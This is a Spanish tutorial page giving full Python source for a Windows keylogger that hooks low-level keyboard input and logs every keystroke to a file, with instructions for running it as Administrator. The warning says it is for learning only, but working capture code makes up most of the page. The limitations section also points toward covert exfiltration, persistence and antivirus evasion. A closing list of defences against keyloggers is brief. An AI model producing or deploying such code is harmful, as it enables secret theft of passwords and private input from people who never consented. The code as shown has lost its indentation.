Cómo crear un keylogger educativo en Python (con fines de aprendizaje/seguridad)
⚠️ ADVERTENCIA LEGAL Y ÉTICA: Crear, distribuir o usar keyloggers para monitorizar pulsaciones sin **consentimiento explícito, informado y por escrito** de todos los usuarios del dispositivo es **ILEGAL** en la inmensa mayoría de jurisdicciones (leyes de privacidad, interceptación de comunicaciones, acceso no autorizado, malware). Este código es **SOLO para educación en seguridad defensiva, auditoría autorizada, control parental consensuado o investigación propia en máquina propia**. Úsalo con responsabilidad.
Concepto: Hook de teclado de bajo nivel (Windows)
Usamos SetWindowsHookEx (API Windows) vía ctypes para interceptar WH_KEYBOARD_LL (13). Requiere Python 3.x + pywin32 (pip install pywin32) o ctypes nativo. No funciona en macOS/Linux de forma nativa (requiere X11/Wayland hooks, sudo, keyloggers de kernel).
Código educativo mínimo (Windows, consola, guarda en archivo)
import ctypes
import ctypes.wintypes
import time
import datetime
import sys
# Constantes Windows
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
WM_SYSKEYDOWN = 0x0104
VK_ESCAPE = 0x1B
# Estructuras
class KBDLLHOOKSTRUCT(ctypes.Structure):
_fields_ = [("vkCode", ctypes.wintypes.DWORD),
("scanCode", ctypes.wintypes.DWORD),
("flags", ctypes.wintypes.DWORD),
("time", ctypes.wintypes.DWORD),
("dwExtraInfo", ctypes.wintypes.ULONG_PTR)]
# Variables globales
hooked = None
log_file = "keylog_educativo.txt"
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
# Callback de bajo nivel (DEBE ser rápida, sin I/O bloqueante)
def low_level_keyboard_proc(nCode, wParam, lParam):
global hooked
if nCode >= 0 and wParam in (WM_KEYDOWN, WM_SYSKEYDOWN):
kb = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT)).contents
vk = kb.vkCode
# Mapeo básico de virtual keys a char legible
if vk == VK_ESCAPE: # Tecla ESC para salir (demo)
print("\n[ESC] Deteniendo keylogger...")
user32.UnhookWindowsHookEx(hooked)
return 1 # No pasar a siguiente hook
# Obtener carácter (simplificado, sin estado Shift/CapsLock/Layout completo)
# Para producción: ToUnicodeEx con estado de teclado real.
char = ctypes.wintypes.CHAR()
# Simplificación: solo imprimibles ASCII básicos
if 32 <= vk <= 126:
ch = chr(vk)
elif vk == 0x0D: ch = '[ENTER]'
elif vk == 0x09: ch = '[TAB]'
elif vk == 0x20: ch = ' '
elif vk == 0x08: ch = '[BACKSPACE]'
else: ch = f'[VK:{vk:02X}]'
# Escribir en archivo (bufferizado en lista real)
with open(log_file, "a", encoding="utf-8") as f:
f.write(f"{datetime.datetime.now().isoformat()} {ch}\n")
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
# Configurar hook
HOOKPROC = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.wintypes.LPARAM)
callback = HOOKPROC(low_level_keyboard_proc)
print(f"[*] Keylogger educativo iniciado. Log: {log_file}")
print("[*] Pulsa ESC en cualquier ventana para detener.")
print("[*] ADVERTENCIA: Solo en TU máquina, CON CONSENTIMIENTO.")
hooked = user32.SetWindowsHookExW(WH_KEYBOARD_LL, callback, kernel32.GetModuleHandleW(None), 0)
if not hooked:
err = kernel32.GetLastError()
print(f"[!] Error SetWindowsHookEx: {err}")
sys.exit(1)
# Bucle de mensajes (necesario para que el hook reciba eventos)
msg = ctypes.wintypes.MSG()
while user32.GetMessageW(ctypes.byref(msg), 0, 0, 0) != 0:
user32.TranslateMessage(ctypes.byref(msg))
user32.DispatchMessageW(ctypes.byref(msg))
print("[*] Keylogger detenido.")
Cómo ejecutar
- Instala Python 3.x +
pip install pywin32. - Guarda código como
keylogger_edu.py. - Ejecuta en terminal como Administrador (necesario para hook global LL):
python keylogger_edu.py. - Escribe en cualquier ventana. Pulsa **ESC** para parar.
- Revisa
keylog_educativo.txt.
Limitaciones de este ejemplo educativo
- No maneja correctamente **Shift, Ctrl, Alt, CapsLock, AltGr, distribuciones de teclado (layout)**. Usa
ToUnicodeExconGetKeyboardStatepara eso. - Escribe en disco **por cada tecla** (lento, detectable). Producción: buffer en memoria + flush periódico / cifrado / exfiltración encubierta (malware).
- Visible en lista de procesos. Sin persistencia, ofuscación, evasión AV/EDR.
- Solo Windows. Linux:
python-evdev(requiere root, /dev/input/eventX). macOS:CGEventTap(requiere Accessibility permission, SIP).
Defensa: Cómo detectar/prevenir keyloggers
- **AV/EDR moderno** (Defender, CrowdStrike, SentinelOne) detecta hooks
WH_KEYBOARD_LLno firmados / comportamiento anómalo. - **Teclado virtual (OSK)** para contraseñas: evita hook de hardware/software de user-mode.
- **Gestores de contraseñas** (Bitwarden, 1Password, KeePassXC) auto-rellenan sin teclado.
- **Monitor de integridad de sistema** (Tripwire, Wazuh, OSSEC) alerta hooks/drivers nuevos.
- **Principio de menor privilegio:** Usuario estándar (no Admin) dificulta hooks globales y drivers de kernel.
- ·Cómo crear un tono de llamada usando un Macintosh
- ·Cómo abrir un archivo en Python
- ·Cómo crear y usar listas (arrays) en Python
- ·Cómo crear una base de datos en archivo plano (texto)
- ·Cómo crear archivos binarios (.bin) en C# / .NET
- ·Cómo crear archivos por lotes (batch) en Windows
- ·Cómo leer un archivo de texto en Python (guía básica con open y read)
- ·Cómo crear un archivo en Python
